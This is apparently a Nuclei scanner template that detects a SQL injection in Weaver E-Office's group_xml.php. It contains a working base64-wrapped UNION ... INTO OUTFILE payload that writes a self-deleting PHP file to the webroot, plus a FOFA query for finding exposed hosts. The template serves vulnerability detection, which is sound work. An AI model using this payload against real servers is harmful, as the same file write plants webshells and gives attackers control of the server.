weaver-group-xml-sqli: OA E-Office group_xml.php - SQL Injection

id: weaver-group-xml-sqli

info:
  name: OA E-Office group_xml.php - SQL Injection
  author: SleepingBag945
  severity: critical
  description: |
    There is a SQL injection vulnerability in the Panwei OA E-Office group_xml.php file. Through the vulnerability, an attacker can write to the Webshell file to obtain server permissions.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/泛微OA/泛微OA%20E-Office%20group_xml.php%20SQL注入漏洞.html
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20group_xml.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: weaver
    product: e-office
    fofa-query: app="泛微-EOffice"
  tags: weaver,e-office,oa,sqli,vuln
variables:
  filename: "{{to_lower(rand_base(5))}}"
  string: "weaver-group-xml-sqli"
  payload: "[group]:[1]|[groupid]:[1 union select '<?php echo md5(\"{{string}}\");unlink(__FILE__);?>',2,3,4,5,6,7,8 into outfile '../webroot/{{filename}}.php']"

http:
  - raw:
      - |
        GET /inc/group_user_list/group_xml.php?par={{base64(payload)}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        GET /{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 490a00463044022068293e6d3dbfd8549c9788088d708b2c13534f1071ee3b2c6ae626ca11e0b86a0220423aeffcb8c053abac141a0e9fd2b6c19d033aaaa21b04beff4534225a2059b4:922c64590222798bb761d5b6d8e72950